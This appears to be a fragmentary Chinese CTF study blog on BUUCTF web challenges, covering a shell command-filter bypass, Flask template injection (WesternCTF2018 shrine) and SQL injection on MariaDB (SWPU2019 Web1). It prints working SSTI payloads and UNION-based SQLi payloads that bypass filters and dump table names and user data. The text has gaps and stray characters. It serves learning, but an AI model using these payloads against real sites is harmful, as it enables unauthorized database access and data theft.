今天早上起来看到一位师傅发的一道题!有关 命令 | 代码执行!
|
这到题就是代码执行!但是无字母 webshell,是不行的!有正则!
又看了看eval |
如果是分号!就有问题!
这个题就是: |
讲到 shell!
再看看 shell! 之前都不是很理解!!
Shell 是一个用 C 语言编写的程序,它是用户使用 Linux 的桥梁。Shell 既是一种命令语言,又是一种程序设计语言。 |
shell 里的正则表达式
^ |
还有一些内置的通用字符簇
[[:alpha:]] 任何字母 |
ca''t flag |
上面的文章里有师傅们写的命令执行 bypass 技巧!
[WesternCTF2018]shrine
import flask |
好像是模板注入!但是有过滤!! |
payload1
http://538f72bb-24ad-477f-82ee-4e61f4e136ae.node3.buuoj.cn/shrine/{{url_for.__globals__['current_app'].config}} |
payload2
{{get_flashed_messages.__globals__}} |
总结:
这道题一上来看到flask,safe_jinja。还有过滤就知道是ssti!但是自己的py学的不咋地!flask也不是很会!自己想找注入点!找了好久!不能仅仅局限与变量注入!@app.route('/shrine/<path:shrine>')这个路径也能产生注入! 不会flask,啥时候学学呢! |
原理这里是动态 URL
其中的是根据不同人来变化的,这种就属于动态 URL 地址,Flask 可以很好的支持这种形式。
@app.route('/user/<name>') |
[SWPU2019]Web1
mysql 里 数字
MySQL5.7的新特性: |
由于我的mysql版本低了!好像没有上面两个 |
看题!
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '''' limit 0,1' at line 1 |
刚刚
一开始不知道 join 咋用的!
自己测试了测试!:
- INNER JOIN(内连接,或等值连接):获取两个表中字段匹配关系的记录。
理解:就是把两个表数据弄到一起!但是我不是很了解!(到底按照什么方法和到一起的!)
0x01 MariaDB 特性
Maria 数据库的这个表可以查表名:mysql.innodb_table_stats
https://mariadb.com/kb/en/mysqlinnodb_table_stats/
About MariaDB
成立于 2009 年,MySQL 之父 Michael “Monty” Widenius 用他的新项目 MariaDB 完成了对 MySQL 的 “反戈一击”。开发这个分支的原因之一是:甲骨文公司收购了 MySQL 后,有将 MySQL 闭源的潜在风险,因此社区采用分支的方式来避开这个风险。 过去一年中,大型互联网用户以及 Linux 发行商纷纷抛弃 MySQL,转投 MariaDB 阵营。MariaDB 是目前最受关注的 MySQL 数据库衍生版,也被视为开源数据库 MySQL 的替代品。
题目:
这里 fuzz 还不行!自己手动测试!
大佬文章有:https://www.wh1teze.top/articles/2020/01/31/1580457631958.html |
payload1:
-1'union/**/select/**/1,user(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22 |
发现数据库版本较高。因为 or
被正则过滤,所以 information_schema
库无法利用。
使用 innodb 存储引擎
在Mysql>5.6
版本中,innodb
增添了两个新表:innodb_index_stats
、innodb_table_stats
。
两个表都会存储数据库和对应的数据表,唯一与information_schema
不同的是它没有列名。sys 数据库
Mysql>5.7
时,新增了sys数据库
,基础数据来自于performance_chema
和information_schema
两个库,但是本身数据库不存储数据。
而且值得一提的是 MySQL 好像是默认关闭 innodb 数据库的,所以这也是一种新思路。
sys 有一些有用的表:表名 作用 schema_auto_increment_columns 只会显示有自增的表 schema_table_statistics_with_buffer 全部显示 x$schema_table_statistics_with_buffer 全部显示 但是需要用户是 root 权限才能查看 sys 数据库,所以要先看一下 user () 是不是 root。
大概意思就是: |
因为用户权限是 root
,所以可以使用 sys
数据库。但是 mariaDB
数据库中没有 sys
数据库。
所以使用 mysql
数据库中的 innodb_table_stats
表。
构造 payload2:
-1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name=database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22 |
看了上面的 payload:
发现之前理解有点问题!
mysql 语句和 mariaDB
在某些地方还是有差异的!database_name table_schema
构造 payload3:
再利用无字段注入!
有没有as都可以! |
1'/**/union/**/select/**/1,(select/**/group_concat(a,b,c)/**/from/**/(select/**/1/**/c,2/**/as/**/a,3/**/as/**/b/**/union/**/select*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22 |
OSINT
什么是OSINT? |